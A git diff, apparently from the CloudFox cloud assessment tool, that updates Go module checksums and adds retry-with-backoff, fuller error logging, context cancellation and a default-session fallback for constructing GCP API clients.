github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
@@ -523,8 +464,6 @@ github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
|
||||
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
@@ -558,17 +497,14 @@ go.opentelemetry.io/otel/sdk/metric v1.43.0 h1:S88dyqXjJkuBNLeMcVPRFXpRw2fuwdvfC
|
||||
go.opentelemetry.io/otel/sdk/metric v1.43.0/go.mod h1:C/RJtwSEJ5hzTiUz5pXF1kILHStzb9zFlIEe85bhj6A=
|
||||
go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09nk+3A=
|
||||
go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
|
||||
go.yaml.in/yaml/v2 v2.4.3 h1:6gvOSjQoTB3vt1l+CU+tSyi/HOjfOjRLJ4YwYZGwRO0=
|
||||
go.yaml.in/yaml/v2 v2.4.3/go.mod h1:zSxWcmIDjOzPXpjlTTbAsKokqkDNAVtZO0WOMiT90s8=
|
||||
go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
|
||||
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
|
||||
golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
|
||||
golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
|
||||
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
|
||||
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9 h1:MDfG8Cvcqlt9XXrmEiD4epKn7VJHZO84hejP9Jmp0MM=
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9/go.mod h1:EPRbTFwzwjXj9NpYyyrvenVh9Y+GFeEvMNh7Xuz7xgU=
|
||||
@@ -591,8 +527,8 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
|
||||
golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
|
||||
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
|
||||
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
|
||||
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
|
||||
@@ -628,8 +564,8 @@ golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuX
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
|
||||
golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
|
||||
golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
|
||||
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
@@ -637,8 +573,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
|
||||
golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
|
||||
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -691,10 +627,6 @@ google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0 h1:czT3CmqEaQ1aanPc5SdlgQrrEIb8w/wwCvWWnfEbYzo=
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M=
|
||||
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
|
||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -702,25 +634,31 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
k8s.io/api v0.35.4 h1:P7nFYKl5vo9AGUp1Z+Pmd3p2tA7bX2wbFWCvDeRv988=
|
||||
k8s.io/api v0.35.4/go.mod h1:yl4lqySWOgYJJf9RERXKUwE9g2y+CkuwG+xmcOK8wXU=
|
||||
k8s.io/apiextensions-apiserver v0.35.4 h1:HeP+Upp7ItdvnyGmub0yoix+2z5+ev4M5cE5TCgtOUU=
|
||||
k8s.io/apiextensions-apiserver v0.35.4/go.mod h1:ogQlk+stIE8mnoRthSYCwlOS12fVqgWFiErMwPaXA7c=
|
||||
k8s.io/apimachinery v0.35.4 h1:xtdom9RG7e+yDp71uoXoJDWEE2eOiHgeO4GdBzwWpds=
|
||||
k8s.io/apimachinery v0.35.4/go.mod h1:NNi1taPOpep0jOj+oRha3mBJPqvi0hGdaV8TCqGQ+cc=
|
||||
k8s.io/client-go v0.35.4 h1:DN6fyaGuzK64UvnKO5fOA6ymSjvfGAnCAHAR0C66kD8=
|
||||
k8s.io/client-go v0.35.4/go.mod h1:2Pg9WpsS4NeOpoYTfHHfMxBG8zFMSAUi4O/qoiJC3nY=
|
||||
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
|
||||
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 h1:Y3gxNAuB0OBLImH611+UDZcmKS3g6CthxToOb37KgwE=
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912/go.mod h1:kdmbQkyfwUagLfXIad1y2TdrjPFWp2Q89B3qkRwf/pQ=
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 h1:SjGebBtkBqHFOli+05xYbK8YF1Dzkbzn+gDM4X9T4Ck=
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0=
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg=
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg=
|
||||
sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU=
|
||||
sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY=
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0 h1:jTijUJbW353oVOd9oTlifJqOGEkUw2jB/fXCbTiQEco=
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE=
|
||||
sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs=
|
||||
sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4=
|
||||
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
|
||||
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
|
||||
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
|
||||
modernc.org/ccgo/v4 v4.30.1/go.mod h1:bIOeI1JL54Utlxn+LwrFyjCx2n2RDiYEaJVSrgdrRfM=
|
||||
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
|
||||
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
|
||||
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
|
||||
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
|
||||
modernc.org/gc/v3 v3.1.1 h1:k8T3gkXWY9sEiytKhcgyiZ2L0DTyCQ/nvX+LoCljoRE=
|
||||
modernc.org/gc/v3 v3.1.1/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
|
||||
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
|
||||
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
|
||||
modernc.org/libc v1.67.6 h1:eVOQvpModVLKOdT+LvBPjdQqfrZq+pC39BygcT+E7OI=
|
||||
modernc.org/libc v1.67.6/go.mod h1:JAhxUVlolfYDErnwiqaLvUqc8nfb2r6S6slAgZOnaiE=
|
||||
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
|
||||
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
|
||||
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
|
||||
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
|
||||
modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
|
||||
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
|
||||
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
|
||||
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
|
||||
modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU=
|
||||
modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA=
|
||||
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
|
||||
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
+47
-5
@@ -7,6 +7,7 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -242,6 +243,42 @@ func ParseGCPError(err error, apiName string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
// IsRetryableError checks if a GCP API error is transient and worth retrying.
|
||||
// Rate limits, server errors, and unavailable responses are retryable.
|
||||
// Permission denied, not found, and auth failures are not.
|
||||
func IsRetryableError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
errStr := err.Error()
|
||||
return strings.Contains(errStr, "rate limited") ||
|
||||
strings.Contains(errStr, "GCP service error") ||
|
||||
strings.Contains(errStr, "Unavailable") ||
|
||||
strings.Contains(errStr, "Internal")
|
||||
}
|
||||
|
||||
// RetryWithBackoff calls fn up to maxAttempts times with exponential backoff
|
||||
// for transient GCP API errors. Non-retryable errors (permission denied, etc.)
|
||||
// are returned immediately without further attempts.
|
||||
func RetryWithBackoff(logger internal.Logger, module string, maxAttempts int, fn func() error) error {
|
||||
var lastErr error
|
||||
for attempt := 1; attempt <= maxAttempts; attempt++ {
|
||||
lastErr = fn()
|
||||
if lastErr == nil {
|
||||
return nil
|
||||
}
|
||||
if !IsRetryableError(lastErr) {
|
||||
return lastErr
|
||||
}
|
||||
if attempt < maxAttempts {
|
||||
delay := time.Duration(attempt) * 2 * time.Second // 2s, 4s, 6s
|
||||
logger.InfoM(fmt.Sprintf("Transient error: %v (retry %d/%d in %s)", lastErr, attempt, maxAttempts-1, delay), module)
|
||||
time.Sleep(delay)
|
||||
}
|
||||
}
|
||||
return lastErr
|
||||
}
|
||||
|
||||
// IsPermissionDenied checks if an error is a permission denied error
|
||||
func IsPermissionDenied(err error) bool {
|
||||
return errors.Is(err, ErrPermissionDenied)
|
||||
@@ -281,12 +318,13 @@ func HandleGCPError(err error, logger internal.Logger, moduleName string, resour
|
||||
return true // Can continue with other resources
|
||||
|
||||
case errors.Is(parsedErr, ErrNotFound):
|
||||
// Not found is often expected, don't log as error
|
||||
// Log not-found errors so users can see invalid project IDs or missing resources
|
||||
logger.ErrorM(fmt.Sprintf("%s - not found", resourceDesc), moduleName)
|
||||
return true
|
||||
|
||||
default:
|
||||
// For unknown errors, log a concise message without the full error details
|
||||
logger.ErrorM(fmt.Sprintf("%s - error occurred", resourceDesc), moduleName)
|
||||
// Include the actual error so it's visible in logs and (when not overwritten by spinner) on screen
|
||||
logger.ErrorM(fmt.Sprintf("%s - %v", resourceDesc, parsedErr), moduleName)
|
||||
return true // Continue with other resources
|
||||
}
|
||||
}
|
||||
@@ -439,8 +477,12 @@ func (b *BaseGCPModule) RunProjectEnumeration(
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
// Acquire semaphore
|
||||
semaphore <- struct{}{}
|
||||
// Check for cancellation before starting work
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case semaphore <- struct{}{}:
|
||||
}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
b.CommandCounter.Pending--
|
||||
|
||||
+58
-44
@@ -15,6 +15,7 @@ import (
|
||||
|
||||
// REST API services (NewService pattern)
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"google.golang.org/api/option"
|
||||
accesscontextmanager "google.golang.org/api/accesscontextmanager/v1"
|
||||
apikeys "google.golang.org/api/apikeys/v2"
|
||||
artifactregistryapi "google.golang.org/api/artifactregistry/v1"
|
||||
@@ -54,13 +55,26 @@ import (
|
||||
storageapi "google.golang.org/api/storage/v1"
|
||||
)
|
||||
|
||||
// resolveOpts returns the client options for a session. If session is nil,
|
||||
// it checks the package-level default session (set by --impersonate-sa).
|
||||
// If no session is available, returns nil so the GCP SDK uses ADC.
|
||||
func resolveOpts(session *gcpinternal.SafeSession) []option.ClientOption {
|
||||
if session == nil {
|
||||
session = gcpinternal.GetDefaultSession()
|
||||
}
|
||||
if session != nil {
|
||||
return []option.ClientOption{session.GetClientOption()}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// GO SDK CLIENTS (NewClient pattern) - These return *Client types
|
||||
// =============================================================================
|
||||
|
||||
// GetStorageClient returns a Cloud Storage client (Go SDK)
|
||||
func GetStorageClient(ctx context.Context, session *gcpinternal.SafeSession) (*storage.Client, error) {
|
||||
client, err := storage.NewClient(ctx, session.GetClientOption())
|
||||
client, err := storage.NewClient(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create storage client: %w", err)
|
||||
}
|
||||
@@ -69,7 +83,7 @@ func GetStorageClient(ctx context.Context, session *gcpinternal.SafeSession) (*s
|
||||
|
||||
// GetSecretManagerClient returns a Secret Manager client (Go SDK)
|
||||
func GetSecretManagerClient(ctx context.Context, session *gcpinternal.SafeSession) (*secretmanagerclient.Client, error) {
|
||||
client, err := secretmanagerclient.NewClient(ctx, session.GetClientOption())
|
||||
client, err := secretmanagerclient.NewClient(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create secret manager client: %w", err)
|
||||
}
|
||||
@@ -78,7 +92,7 @@ func GetSecretManagerClient(ctx context.Context, session *gcpinternal.SafeSessio
|
||||
|
||||
// GetBigQueryClient returns a BigQuery client (Go SDK)
|
||||
func GetBigQueryClient(ctx context.Context, session *gcpinternal.SafeSession, projectID string) (*bigquery.Client, error) {
|
||||
client, err := bigquery.NewClient(ctx, projectID, session.GetClientOption())
|
||||
client, err := bigquery.NewClient(ctx, projectID, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create BigQuery client: %w", err)
|
||||
}
|
||||
@@ -87,7 +101,7 @@ func GetBigQueryClient(ctx context.Context, session *gcpinternal.SafeSession, pr
|
||||
|
||||
// GetPubSubClient returns a Pub/Sub client (Go SDK)
|
||||
func GetPubSubClient(ctx context.Context, session *gcpinternal.SafeSession, projectID string) (*pubsub.Client, error) {
|
||||
client, err := pubsub.NewClient(ctx, projectID, session.GetClientOption())
|
||||
client, err := pubsub.NewClient(ctx, projectID, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Pub/Sub client: %w", err)
|
||||
}
|
||||
@@ -96,7 +110,7 @@ func GetPubSubClient(ctx context.Context, session *gcpinternal.SafeSession, proj
|
||||
|
||||
// GetAssetClient returns a Cloud Asset client (Go SDK)
|
||||
func GetAssetClient(ctx context.Context, session *gcpinternal.SafeSession) (*asset.Client, error) {
|
||||
client, err := asset.NewClient(ctx, session.GetClientOption())
|
||||
client, err := asset.NewClient(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create asset client: %w", err)
|
||||
}
|
||||
@@ -105,7 +119,7 @@ func GetAssetClient(ctx context.Context, session *gcpinternal.SafeSession) (*ass
|
||||
|
||||
// GetArtifactRegistryClient returns an Artifact Registry client (Go SDK)
|
||||
func GetArtifactRegistryClient(ctx context.Context, session *gcpinternal.SafeSession) (*artifactregistry.Client, error) {
|
||||
client, err := artifactregistry.NewClient(ctx, session.GetClientOption())
|
||||
client, err := artifactregistry.NewClient(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create artifact registry client: %w", err)
|
||||
}
|
||||
@@ -114,7 +128,7 @@ func GetArtifactRegistryClient(ctx context.Context, session *gcpinternal.SafeSes
|
||||
|
||||
// GetOrganizationsClient returns a Resource Manager Organizations client (Go SDK)
|
||||
func GetOrganizationsClient(ctx context.Context, session *gcpinternal.SafeSession) (*resourcemanager.OrganizationsClient, error) {
|
||||
client, err := resourcemanager.NewOrganizationsClient(ctx, session.GetClientOption())
|
||||
client, err := resourcemanager.NewOrganizationsClient(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create organizations client: %w", err)
|
||||
}
|
||||
@@ -127,7 +141,7 @@ func GetOrganizationsClient(ctx context.Context, session *gcpinternal.SafeSessio
|
||||
|
||||
// GetComputeService returns a Compute Engine service
|
||||
func GetComputeService(ctx context.Context, session *gcpinternal.SafeSession) (*compute.Service, error) {
|
||||
service, err := compute.NewService(ctx, session.GetClientOption())
|
||||
service, err := compute.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create compute service: %w", err)
|
||||
}
|
||||
@@ -136,7 +150,7 @@ func GetComputeService(ctx context.Context, session *gcpinternal.SafeSession) (*
|
||||
|
||||
// GetIAMService returns an IAM Admin service
|
||||
func GetIAMService(ctx context.Context, session *gcpinternal.SafeSession) (*iam.Service, error) {
|
||||
service, err := iam.NewService(ctx, session.GetClientOption())
|
||||
service, err := iam.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create IAM service: %w", err)
|
||||
}
|
||||
@@ -145,7 +159,7 @@ func GetIAMService(ctx context.Context, session *gcpinternal.SafeSession) (*iam.
|
||||
|
||||
// GetResourceManagerService returns a Cloud Resource Manager service (v1)
|
||||
func GetResourceManagerService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudresourcemanager.Service, error) {
|
||||
service, err := cloudresourcemanager.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudresourcemanager.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create resource manager service: %w", err)
|
||||
}
|
||||
@@ -154,7 +168,7 @@ func GetResourceManagerService(ctx context.Context, session *gcpinternal.SafeSes
|
||||
|
||||
// GetSecretManagerService returns a Secret Manager service (REST API)
|
||||
func GetSecretManagerService(ctx context.Context, session *gcpinternal.SafeSession) (*secretmanagerapi.Service, error) {
|
||||
service, err := secretmanagerapi.NewService(ctx, session.GetClientOption())
|
||||
service, err := secretmanagerapi.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create secret manager service: %w", err)
|
||||
}
|
||||
@@ -163,7 +177,7 @@ func GetSecretManagerService(ctx context.Context, session *gcpinternal.SafeSessi
|
||||
|
||||
// GetBigQueryService returns a BigQuery service (REST API v2)
|
||||
func GetBigQueryService(ctx context.Context, session *gcpinternal.SafeSession) (*bigqueryapi.Service, error) {
|
||||
service, err := bigqueryapi.NewService(ctx, session.GetClientOption())
|
||||
service, err := bigqueryapi.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create BigQuery service: %w", err)
|
||||
}
|
||||
@@ -172,7 +186,7 @@ func GetBigQueryService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
